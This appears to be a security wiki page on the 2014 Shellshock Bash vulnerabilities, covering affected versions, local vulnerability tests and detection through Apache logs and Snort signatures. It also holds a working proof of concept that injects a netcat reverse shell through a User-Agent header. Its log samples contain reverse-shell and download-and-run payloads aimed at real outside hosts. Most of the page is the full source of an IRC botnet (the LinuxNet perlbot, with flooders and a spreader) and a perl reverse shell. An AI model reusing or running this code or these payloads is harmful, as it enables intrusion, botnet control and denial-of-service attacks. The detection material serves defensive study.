Shellshock-Bash-vulnerability-CVE-2014-6271-CVE-2014-7169

From aldeid
Jump to navigation Jump to search

Description

What is it about?

Bash or Bourne Again Shell is prone to a remote code execution vulnerability because it does not separate data and code. It is possible to inject code (e.g. crafted User-Agent string) via environment variables.

“GNU Bash through 4.3 processes trailing strings after function definitions in the values of environment variables, which allows remote attackers to execute arbitrary code via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the mod_cgi and mod_cgid modules in the Apache HTTP Server, scripts executed by unspecified DHCP clients, and other situations in which setting the environment occurs across a privilege boundary from Bash execution,” states the description for the Bush Bug flaw on the NIST National Vulnerability Database, which rated its severity as 10 out of 10.

Impacted versions

Most Linux and Unix systems are impacted because bash is installed by default.

Following versions of bash are concerned:

  • 1.14.0
  • 1.14.1
  • 1.14.2
  • 1.14.3
  • 1.14.4
  • 1.14.5
  • 1.14.6
  • 1.14.7
  • 2.0
  • 2.01
  • 2.01.1
  • 2.02
  • 2.02.1
  • 2.03
  • 2.04
  • 2.05
  • 2.05:a
  • 2.05:b
  • 3.0
  • 3.0.16
  • 3.1
  • 3.2
  • 3.2.48
  • 4.0
  • 4.0:rc1
  • 4.1
  • 4.2
  • 4.3

Exploitation vectors

Known vectors are:

  • the ForceCommand feature in OpenSSH sshd
  • the mod_cgi and mod_cgid modules in the Apache HTTP Server
  • scripts executed by unspecified DHCP clients
  • and other situations in which setting the environment occurs across a privilege boundary from Bash execution.

Go to the {{#switchtablink:Proof_of_Concept|Proof of Concept}} section for more information.

Check whether a system is vulnerable

Locally

CVE Output of a patched machine Output of a vulnarable machine
CVE-2014-6271 (Stephane Schazelas)
$ env x='() { :;}; echo vulnerable' sh -c "echo this is a test" 
this is a test
$ env x='() { :;}; echo vulnerable' sh -c "echo this is a test" 
vulnerable
this is a test
CVE-2014-7169 (Travis Ormandy)
$ env -i X='() { (a)=>\' bash -c 'echo date'; cat echo
date
cat: echo: Aucun fichier ou dossier de ce type
$ env -i X='() { (a)=>\' bash -c 'echo date'; cat echo
bash: X: line 1: syntax error near unexpected token `='
bash: X: line 1: `'
bash: error importing function definition for `X'
Fri Sep 26 12:49:53 CEST 2014

Remotely

Metasploit module

Metasploit exploit: https://github.com/rapid7/metasploit-framework/pull/3880

Google search

filetype:sh inurl:cgi-bin site:mysite.com

Examples

Unpatched machine

$ env x='() { :;}; echo vulnerable' sh -c "echo this is a test" 
vulnerable
this is a test
# env -i X='() { (a)=>\' bash -c 'echo date'; cat echo
bash: X: line 1: syntax error near unexpected token `='
bash: X: line 1: `'
bash: error importing function definition for `X'
Fri Sep 26 12:49:53 CEST 2014

Patched machine

Not vulnerable

$ env x='() { :;}; echo vulnerable' sh -c "echo this is a test" 
this is a test
$ env -i X='() { (a)=>\' bash -c 'echo date'; cat echo
date
cat: echo: Aucun fichier ou dossier de ce type

Still vulnerable (CVE-2014-7169)

$ env x='() { :;}; echo vulnerable' sh -c "echo this is a test" 
this is a test
$ env -i X='() { (a)=>\' bash -c 'echo date'; cat echo
bash: X: line 1: syntax error near unexpected token `='
bash: X: line 1: `'
bash: error importing function definition for `X'
Fri Sep 26 09:08:45 CEST 2014

Proof of Concept

ForceCommand feature in OpenSSH sshd

Proof of Concept available here: http://www.zdziarski.com/blog/?p=3905

Exploitation of the mod_cgi module in the Apache HTTP Server

Given a web server hosting a cgi-bin resource. A standard request to the page would be:

GET /cgi-bin/status HTTP/1.1
Host: 172.16.254.138
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20140924 Firefox/24.0 Iceweasel/24.8.1
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Referer: http://172.16.254.138/
Connection: keep-alive

Now, let's open a socket on our computer that will listen to port 4444/tcp:

$ nc -lp 4444 -vvv
listening on [any] 4444 ...

An let's modify the request to inject code in the User-Agent field:

GET /cgi-bin/status HTTP/1.1
Host: 172.16.254.138
User-Agent: () { :; }; /bin/bash -c "nc 172.16.254.140 4444 -e /bin/bash -i"
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Referer: http://172.16.254.138/
Connection: keep-alive

After a short while, netcat indicates a connection:

$ nc -lp 4444 -vvv
listening on [any] 4444 ...
172.16.254.138: inverse host lookup failed: Unknown host
connect to [172.16.254.140] from (UNKNOWN) [172.16.254.138] 46978

And it's now possible to enter commands:

/sbin/ifconfig
eth0      Link encap:Ethernet  HWaddr 00:0C:29:05:32:88  
          inet addr:172.16.254.138  Bcast:172.16.254.255  Mask:255.255.255.0
          inet6 addr: fe80::20c:29ff:fe05:3288/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:86 errors:0 dropped:0 overruns:0 frame:0
          TX packets:174 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:8675 (8.4 KiB)  TX bytes:191692 (187.1 KiB)

lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:4 errors:0 dropped:0 overruns:0 frame:0
          TX packets:4 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:280 (280.0 B)  TX bytes:280 (280.0 B)

scripts executed by unspecified DHCP clients

Proof a concept available here: https://www.trustedsec.com/september-2014/shellshock-dhcp-rce-proof-concept/

Note
ISC DHCP supports option 114 but it's not widely used. Connecting to a properly managed DHCP server (e.g. at work) will most likely not offer option 114. The main concern would be public hotspots and other non-trusted networks.

other situations in which setting the environment occurs across a privilege boundary from Bash execution

INCOMPLETE SECTION OR ARTICLE
This section/article is being written and is therefore not complete.
Thank you for your comprehension.

Detection

Apache logs

Monitor your Apache log files. Here is an example of what you could find:

GET / HTTP/1.0" 301 466 "-" "() { :;}; /bin/bash -c '/bin/bash -i >& /dev/tcp/195.225.*.*/3333 0>&1'

GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 2627 "-" "() { :;}; /bin/ping -c 1 198.101.206.138

GET / HTTP/1.1" 301 548 "-" "() { :; }; echo -e \"Content-Type: text/plain\\n\"; echo qQQQQQq

HEAD /index.html HTTP/1.1" 404 280 "() { ignore;};echo 9b61dddd16671ef3634fa79024a41054:1" "() { ignore;};echo 9b61dddd16671ef3634fa79024a41054:1

GET /cgi-bin/test.cgi HTTP/1.1" 404 1200 "-" "() { x;};echo;echo 123456ololo | md5sum

GET /wiki/Main_Page HTTP/1.1" 200 8931 "-" "() { :;}; /bin/bash -c \"wget -q -O /dev/null http://ad.dipad.biz/test/http://mysite.com/\"

GET / HTTP/1.1" 301 548 "-" "() { :;}; /bin/bash -c \"wget -q -O /dev/null http://ad.dipad.biz/test/http://mysite.com/\"

GET / HTTP/1.0" 200 1741 "-" "() { :;}; /bin/bash -c \"wget http://stablehost.us/bots/regular.bot -O /tmp/sh;curl -o /tmp/sh http://stablehost.us/bots/regular.bot;sh /tmp/sh;rm -rf /tmp/sh\"

If you find this kind of log:

access.log:209.126.230.72 - - [25/Sep/2014:02:04:20 +0200] "GET / HTTP/1.0" 200 1741 "() { :; }; ping -c 11 209.126.230.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)"

It's just the bot from Robert Graham that is scanning the Internet for statistics.

Snort/EmergingThreat signatures

  • 2019231 - ET WEB_SERVER Possible CVE-2014-6271 Attempt in URI
  • 2019232 - ET WEB_SERVER Possible CVE-2014-6271 Attempt in Headers
  • 2019233 - ET WEB_SERVER Possible CVE-2014-6271 Attempt in ClientBody
  • 2019234 - ET WEB_SERVER Possible CVE-2014-6271 Attempt in Client Body 2
  • 2019236 - ET WEB_SERVER Possible CVE-2014-6271 Attempt in HTTP Version Number
  • 2019237 - ET EXPLOIT Possible CVE-2014-6271 exploit attempt via malicious DHCP ACK - option 15
  • 2019238 - ET EXPLOIT Possible CVE-2014-6271 exploit attempt via malicious DHCP ACK - option 67

Known attacks

Masscan

Tool

Request example

GET / HTTP/1.0
User-Agent: masscan/1.0 (https://github.com/robertdavidgraham/masscan)
Accept: */*

Bots

Origin

  • hxxp://213.5.67.223/ji
  • hxxp://213.5.67.223/jurat
  • hxxp://stablehost.us/bots/regular.bot
  • hxxp://162.253.66.76/nginx
  • hxxp://sbd.awardspace.com/auth
  • hxxp://xr0b0tx.com/shock/cgi

Request examples

Host: ***.***.161.12
User-Agent: () { :;}; /bin/bash -c "cd /tmp;wget http://213.5.67.223/ji;curl -O /tmp/ji http://213.5.67.223/jurat ; perl /tmp/ji;rm -rf /tmp/ji;rm -rf /tmp/ji*"
User-Agent: () { :;}; /bin/bash -c "wget http://stablehost.us/bots/regular.bot -O /tmp/sh;curl -o /tmp/sh http://stablehost.us/bots/regular.bot;sh /tmp/sh;rm -rf /tmp/sh"
Host: ***.**.212.39

LinuxNet perlbot

#!/usr/bin/perl
# ------------------------------------------------------------- #
#			LinuxNet perlbot			#
# ------------------------------------------------------------- #

#system("kill -9 `ps ax |grep /usr/sbin/apache2/log |grep -v grep|awk '{print $1;}'`");
#system("kill -9 `ps ax |grep /usr/sbin/apache3/log |grep -v grep|awk '{print $1;}'`");
#system("kill -9 `ps ax |grep /usr/sbin/apache/log |grep -v grep|awk '{print $1;}'`");
#system("kill -9 `ps ax |grep /usr/sbin/httpd |grep -v grep|awk '{print $1;}'`");
#system("kill -9 `ps ax |grep /usr/sbin/atd |grep -v grep|awk '{print $1;}'`");

my $processo = '-';


my @titi = ("index.php?page=","main.php?page=");

my $goni = $titi[rand scalar @titi];

my $linas_max='7';
my $sleep='7';
my @adms=("x","JB" );
my @hostauth=("localhost","outlaw");
my @canais=("#gnu");
my $nick='|GNU|';
my $ircname ='GNU';
chop (my $realname = `uname -sr`);
$servidor='ircd.w3h.co.uk' unless $servidor;
my $porta='443';
my $VERSAO = '0.5';
$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
$SIG{'PS'} = 'IGNORE';
use IO::Socket;
use Socket;
use IO::Select;
chdir("/tmp");
$servidor="$ARGV[0]" if $ARGV[0];
$0="$processo"."\0"x16;;
my $pid=fork;
exit if $pid;
die "Problema com o fork: $!" unless defined($pid);

our %irc_servers;
our %DCC;
my $dcc_sel = new IO::Select->new();

$sel_cliente = IO::Select->new();
sub sendraw {
  if ($#_ == '1') {
    my $socket = $_[0];
    print $socket "$_[1]\n";
  } else {
      print $IRC_cur_socket "$_[0]\n";
  }
}

sub conectar {
   my $meunick = $_[0];
   my $servidor_con = $_[1];
   my $porta_con = $_[2];

   my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1);
   if (defined($IRC_socket)) {
     $IRC_cur_socket = $IRC_socket;

     $IRC_socket->autoflush(1);
     $sel_cliente->add($IRC_socket);

     $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
     $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
     $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
     $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
     nick("$meunick");
     sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
     sleep 1;
   }
}
my $line_temp;
while( 1 ) {
   while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
   delete($irc_servers{''}) if (defined($irc_servers{''}));
   my @ready = $sel_cliente->can_read(0);
   next unless(@ready);
   foreach $fh (@ready) {
     $IRC_cur_socket = $fh;
     $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
     $nread = sysread($fh, $msg, 4096);
     if ($nread == 0) {
        $sel_cliente->remove($fh);
        $fh->close;
        delete($irc_servers{$fh});
     }
     @lines = split (/\n/, $msg);

     for(my $c=0; $c<= $#lines; $c++) {
       $line = $lines[$c];
       $line=$line_temp.$line if ($line_temp);
       $line_temp='';
       $line =~ s/\r$//;
       unless ($c == $#lines) {
         parse("$line");
       } else {
           if ($#lines == 0) {
             parse("$line");
           } elsif ($lines[$c] =~ /\r$/) {
               parse("$line");
           } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
               parse("$line");
           } else {
               $line_temp = $line;
           }
       }
      }
   }
}
 
sub parse {
   my $servarg = shift;
   if ($servarg =~ /^PING \:(.*)/) {
     sendraw("PONG :$1");
   } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
       my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
       if ($args =~ /^\001VERSION\001$/) {
         notice("$pn", "\001VERSION mIRC v6.16 Khaled Mardam-Bey\001");
       }
       if (grep {$_ =~ /^\Q$hostmask\E$/i } @hostauth) {
       if (grep {$_ =~ /^\Q$pn\E$/i } @adms) {
         if ($onde eq "$meunick"){
           shell("$pn", "$args");
         }
         if ($args =~ /^(\Q$meunick\E|\.say)\s+(.*)/ ) {
            my $natrix = $1;
            my $arg = $2;
            if ($arg =~ /^\!(.*)/) {
              ircase("$pn","$onde","$1") unless ($natrix eq "!bot" and $arg =~ /^\!nick/);
            } elsif ($arg =~ /^\@(.*)/) {
                $ondep = $onde;
                $ondep = $pn if $onde eq $meunick;
                bfunc("$ondep","$1");
            } else {
                shell("$onde", "$arg");
            }
         } 
       }
	}
   } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
       if (lc($1) eq lc($meunick)) {
         $meunick=$4; 
         $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
       }
   } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
       nick("$meunick".int rand(999999));
   } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
       $meunick = $2;
       $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
       $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
       foreach my $canal (@canais) {
         sendraw("JOIN $canal ddosit");
       }
   }
}


sub bfunc {
  my $printl = $_[0];
  my $funcarg = $_[1];
  if (my $pid = fork) {
     waitpid($pid, 0);
  } else {
      if (fork) {
         exit;
       } else {
           if ($funcarg =~ /^portscan (.*)/) {
             my $hostip="$1";
             my @portas=("21","22","23","25","80","113","135","445","1025","5000","6660","6661","6662","6663","6665","6666","6667","6668","6669","7000","8080","8018");
             my (@aberta, %porta_banner);
	     sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[SCAN]\002 Scanning ".$1." for open ports.");     
             foreach my $porta (@portas)  {
                my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => 4);
                if ($scansock) {
                   push (@aberta, $porta);
                   $scansock->close;
                }
             }

             if (@aberta) {
               sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[SCAN]\002 Open port(s): @aberta");
             } else {
               sendraw($IRC_cur_socket,"PRIVMSG $printl :\002[SCAN]\002 No open ports found"); 
             }
           }
           if ($funcarg =~ /^tcpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
	     sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[TCP]\002 Attacking ".$1.":".$2." for ".$3." seconds.");
	     my $itime = time;
	     my ($cur_time);
             $cur_time = time - $itime;
	     while ($3>$cur_time){
             $cur_time = time - $itime;
	     &tcpflooder("$1","$2","$3");
             }
	     sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[TCP]\002 Attack done ".$1.":".$2.".");
           }
	   if ($funcarg =~ /^version/) {
		sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[VERSION]\002 perlb0t ver ".$VERSAO);		   
		}
           if ($funcarg =~ /^google\s+(\d+)\s+(.*)/) {
	     sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[GOOGLE]\002 Scanning for unpatched mambo for ".$1." seconds.");
	     srand;
	     my $itime = time;
	     my ($cur_time);
	     my ($exploited);
	     $boturl=$2;
             $cur_time = time - $itime;$exploited = 0;
		while($1>$cur_time){
		    $cur_time = time - $itime;
		    @urls=fetch();
			foreach $url (@urls) {
			$cur_time = time - $itime;
			my $path = "";my $file = "";($path, $file) = $url =~ /^(.+)\/(.+)$/;

			$url =$path."/$goni$boturl" ;




			$page = http_query($url);
			$exploited = $exploited + 1;
		    }
		}
	     sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[GOOGLE]\002 Exploited ".$exploited." boxes in ".$1." seconds.");
           }
           if ($funcarg =~ /^httpflood\s+(.*)\s+(\d+)/) {
	     sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[HTTP]\002 Attacking ".$1.":80 for ".$2." seconds.");
	     my $itime = time;
	     my ($cur_time);
             $cur_time = time - $itime;
	     while ($2>$cur_time){
             $cur_time = time - $itime;
	     my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$1, PeerPort=>80);
             print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n";
	     close($socket);
             }
	     sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[HTTP]\002 Attacking done ".$1.".");
           }
           if ($funcarg =~ /^udpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
             sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[UDP]\002 Attacking ".$1." with ".$2." Kb packets for ".$3." seconds.");
             my ($dtime, %pacotes) = udpflooder("$1", "$2", "$3");
             $dtime = 1 if $dtime == 0;
             my %bytes;
             $bytes{igmp} = $2 * $pacotes{igmp};
             $bytes{icmp} = $2 * $pacotes{icmp};
             $bytes{o} = $2 * $pacotes{o};
             $bytes{udp} = $2 * $pacotes{udp};
             $bytes{tcp} = $2 * $pacotes{tcp};
             sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[UDP]\002 Sent ".int(($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)." Kb in ".$dtime." seconds to ".$1.".");
           }
           exit;
       }
  }
}
 
sub ircase {
  my ($kem, $printl, $case) = @_;

  if ($case =~ /^join (.*)/) {
     j("$1");
   } 

if ($case =~ /^refresh (.*)/) {
my $goni = $titi[rand scalar @titi];
 }

   if ($case =~ /^part (.*)/) {
      p("$1");
   }
   if ($case =~ /^rejoin\s+(.*)/) {
      my $chan = $1;
      if ($chan =~ /^(\d+) (.*)/) {
        for (my $ca = 1; $ca <= $1; $ca++ ) {
          p("$2");
          j("$2");
        }
      } else {
          p("$chan");
          j("$chan");
      }
   }
   if ($case =~ /^op/) {
      op("$printl", "$kem") if $case eq "op";
      my $oarg = substr($case, 3);
      op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
   }
   if ($case =~ /^deop/) {
      deop("$printl", "$kem") if $case eq "deop";
      my $oarg = substr($case, 5);
      deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
   }
   if ($case =~ /^msg\s+(\S+) (.*)/) {
      msg("$1", "$2");
   }
   if ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
      for (my $cf = 1; $cf <= $1; $cf++) {
        msg("$2", "$3");
      }
   }
   if ($case =~ /^ctcp\s+(\S+) (.*)/) {
      ctcp("$1", "$2");
   }
   if ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
      for (my $cf = 1; $cf <= $1; $cf++) {
        ctcp("$2", "$3");
      }
   }
   if ($case =~ /^nick (.*)/) {
      nick("$1");
   }
   if ($case =~ /^connect\s+(\S+)\s+(\S+)/) {
       conectar("$2", "$1", 6667);
   }
   if ($case =~ /^raw (.*)/) {
      sendraw("$1");
   }
   if ($case =~ /^eval (.*)/) {
     eval "$1";
   }
}

sub shell {
  my $printl=$_[0];
  my $comando=$_[1];
  if ($comando =~ /cd (.*)/) {
    chdir("$1") || msg("$printl", "No such file or directory");
    return;
  } 
  elsif ($pid = fork) {
     waitpid($pid, 0);
  } else {
      if (fork) {
         exit;
       } else {
           my @resp=`$comando 2>&1 3>&1`;
           my $c=0;
           foreach my $linha (@resp) {
             $c++;
             chop $linha;
             sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
             if ($c == "$linas_max") {
               $c=0;
               sleep $sleep;
             }
           }
           exit;
       }
  }
}

sub tcpflooder {
 my $itime = time;
 my ($cur_time);
 my ($ia,$pa,$proto,$j,$l,$t);
 $ia=inet_aton($_[0]);
 $pa=sockaddr_in($_[1],$ia);
 $ftime=$_[2];
 $proto=getprotobyname('tcp');
 $j=0;$l=0;
 $cur_time = time - $itime;
 while ($l<1000){
  $cur_time = time - $itime;
  last if $cur_time >= $ftime;
  $t="SOCK$l";
  socket($t,PF_INET,SOCK_STREAM,$proto);
  connect($t,$pa)||$j--;
  $j++;$l++;
 }
 $l=0;
 while ($l<1000){
  $cur_time = time - $itime;
  last if $cur_time >= $ftime;
  $t="SOCK$l";
  shutdown($t,2);
  $l++;
 }
}

sub udpflooder {
  my $iaddr = inet_aton($_[0]);
  my $msg = 'A' x $_[1];
  my $ftime = $_[2];
  my $cp = 0;
  my (%pacotes);
  $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;
  
  socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
  socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
  socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
  socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
  return(undef) if $cp == 4;
  my $itime = time;
  my ($cur_time);
  while ( 1 ) {
     for (my $porta = 1; $porta <= 65000; $porta++) {
       $cur_time = time - $itime;
       last if $cur_time >= $ftime;
       send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++;
       send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++;
       send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++;
       send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++;

       for (my $pc = 3; $pc <= 255;$pc++) {
         next if $pc == 6;
         $cur_time = time - $itime;
         last if $cur_time >= $ftime;
         socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
         send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++;
       }
     }
     last if $cur_time >= $ftime;
  }
  return($cur_time, %pacotes);
}

sub ctcp {
   return unless $#_ == 1;
   sendraw("PRIVMSG $_[0] :\001$_[1]\001");
}
sub msg {
   return unless $#_ == 1;
   sendraw("PRIVMSG $_[0] :$_[1]");
}  
sub notice {
   return unless $#_ == 1;
   sendraw("NOTICE $_[0] :$_[1]");
}
sub op {
   return unless $#_ == 1;
   sendraw("MODE $_[0] +o $_[1]");
}
sub deop {
   return unless $#_ == 1;
   sendraw("MODE $_[0] -o $_[1]");
}
sub j { &join(@_); }
sub join {
   return unless $#_ == 0;
   sendraw("JOIN $_[0]");
}
sub p { part(@_); }
sub part {
  sendraw("PART $_[0]");
}
sub nick {
  return unless $#_ == 0;
  sendraw("NICK $_[0]");
}
sub quit {
  sendraw("QUIT :$_[0]");
}

# Spreader
# this 'spreader' code isnot mine, i dont know who coded it.
# update: well, i just fix0red this shit a bit.
#

sub fetch(){
    my $rnd=(int(rand(9999)));
    my $n= 80;
    if ($rnd<5000) { $n<<=1;}
    my $s= (int(rand(5)) * $n);

my @dominios = ("com","net","org","info","gov", "gob","gub","xxx", "eu","mil","edu","aero","name","us","ca","mx","pa","ni","cu","pr","ve","co","pe","ec",
		"py","cl","uy","ar","br","bo","au","nz","cz","kr","jp","th","tw","ph","cn","fi","de","es","pt","ch","se","su","it","gr","al","dk","pl","biz","int","pro","museum","coop",
		"af","ad","ao","ai","aq","ag","an","sa","dz","ar","am","aw","at","az","bs","bh","bd","bb","be","bz","bj","bm","bt","by","ba","bw","bn","bg","bf","bi",
		"vc","kh","cm","td","cs","cy","km","cg","cd","dj","dm","ci","cr","hr","kp","eg","sv","aw","er","sk",
		"ee","et","ge","fi","fr","ga","gs","gh","gi","gb","uk","gd","gl","gp","gu","gt","gg","gn","gw","gq","gy","gf","ht","nl","hn","hk","hu","in","id","ir",
		"iq","ie","is","ac","bv","cx","im","nf","ky","cc","ck","fo","hm","fk","mp","mh","pw","um","sb","sj","tc","vg","vi","wf","il","jm","je","jo","kz","ke",
		"ki","kg","kw","lv","ls","lb","ly","lr","li","lt","lu","mo","mk","mg","my","mw","mv","ml","mt","mq","ma","mr","mu","yt","md","mc","mn","ms","mz","mm",
		"na","nr","np","ni","ne","ng","nu","no","nc","om","pk","ps","pg","pn","pf","qa","sy","cf","la","re","rw","ro","ru","eh","kn","ws","as","sm","pm","vc",		
		"sh","lc","va","st","sn","sc","sl","sg","so","lk","za","sd","se","sr","sz","rj","tz","io","tf","tp","tg","to","tt","tn","tr","tm","tv","ug","ua","uz",
		"vu","vn","ye","yu","cd","zm","zw","");
my @str;

foreach $dom  (@dominios)
{
	push (@str,"allinurl:%22".$dom."/".$goni."%22");
}

    my $query="www.google.com/search?q=";
    $query.=$str[(rand(scalar(@str)))];
    $query.="&num=$n&start=$s";


    my @lst=();
    my $page = http_query($query);
    while ($page =~  m/<a class=l href=\"?http:\/\/([^>\"]+)\"?>/g){
	if ($1 !~ m/google|cache|translate/){
	    push (@lst,$1);
	}
    }
    return (@lst);
}


sub http_query($){
    my ($url) = @_;
    my $host=$url;
    my $query=$url;

    my $page="";
    $host =~ s/href=\"?http:\/\///;
    $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
    $query =~s/$host//;
    if ($query eq "") {$query="/";};
    eval {
	local $SIG{ALRM} = sub { die "1";};
	alarm 10;
	my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return;
	print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
	my @r = <$sock>;
	$page="@r";
	alarm 0;
	close($sock);
    };    
    return $page;

}

perl-reverse-shell

#!/usr/bin/perl -w
# perl-reverse-shell - A Reverse Shell implementation in PERL
# Copyright (C) 2006 [email protected]
#
# This tool may be used for legal purposes only.  Users take full responsibility
# for any actions performed using this tool.  The author accepts no liability
# for damage caused by this tool.  If these terms are not acceptable to you, then
# do not use this tool.
#
# In all other respects the GPL version 2 applies:
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2 as
# published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License along
# with this program; if not, write to the Free Software Foundation, Inc.,
# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
#
# This tool may be used for legal purposes only.  Users take full responsibility
# for any actions performed using this tool.  If these terms are not acceptable to
# you, then do not use this tool.
#
# You are encouraged to send comments, improvements or suggestions to
# me at [email protected]
#
# Description
# -----------
# This script will make an outbound TCP connection to a hardcoded IP and port.
# The recipient will be given a shell running as the current user (apache normally).
#

use strict;
use Socket;
use FileHandle;
use POSIX;
my $VERSION = "1.0";

# Where to send the reverse shell.  Change these.
my $ip = '46.246.34.82';
my $port = 1992;

# Options
my $daemon = 1;
my $auth   = 0; # 0 means authentication is disabled and any 
		# source IP can access the reverse shell
my $authorised_client_pattern = qr(^127\.0\.0\.1$);

# Declarations
my $global_page = "";
my $fake_process_name = "/usr/sbin/apache";

# Change the process name to be less conspicious
$0 = "[httpd]";

# Authenticate based on source IP address if required
if (defined($ENV{'REMOTE_ADDR'})) {
	cgiprint("Browser IP address appears to be: $ENV{'REMOTE_ADDR'}");

	if ($auth) {
		unless ($ENV{'REMOTE_ADDR'} =~ $authorised_client_pattern) {
			cgiprint("ERROR: Your client isn't authorised to view this page");
			cgiexit();
		}
	}
} elsif ($auth) {
	cgiprint("ERROR: Authentication is enabled, but I couldn't determine your IP address.  Denying access");
	cgiexit(0);
}

# Background and dissociate from parent process if required
if ($daemon) {
	my $pid = fork();
	if ($pid) {
		cgiexit(0); # parent exits
	}

	setsid();
	chdir('/');
	umask(0);
}

# Make TCP connection for reverse shell
socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
if (connect(SOCK, sockaddr_in($port,inet_aton($ip)))) {
	cgiprint("Sent reverse shell to $ip:$port");
	cgiprintpage();
} else {
	cgiprint("Couldn't open reverse shell to $ip:$port: $!");
	cgiexit();	
}

# Redirect STDIN, STDOUT and STDERR to the TCP connection
open(STDIN, ">&SOCK");
open(STDOUT,">&SOCK");
open(STDERR,">&SOCK");
$ENV{'HISTFILE'} = '/dev/null';
$ENV{"PATH"}    = "/usr/bin:/usr/sbin:/bin:/usr/bin:/usr/local/sbin:/sbin";
system("w;uname -a;id;pwd");
exec({"/bin/sh"} ($fake_process_name, "-i"));

# Wrapper around print
sub cgiprint {
	my $line = shift;
	$line .= "<p>\n";
	$global_page .= $line;
}

# Wrapper around exit
sub cgiexit {
	cgiprintpage();
	exit 0; # 0 to ensure we don't give a 500 response.
}

# Form HTTP response using all the messages gathered by cgiprint so far
sub cgiprintpage {
	print "Content-Length: " . length($global_page) . "\r
Connection: close\r
Content-Type: text\/html\r\n\r\n" . $global_page;
}

References


Comments

Keywords: shellshock bash cve-2014-6271 cve-2014-7169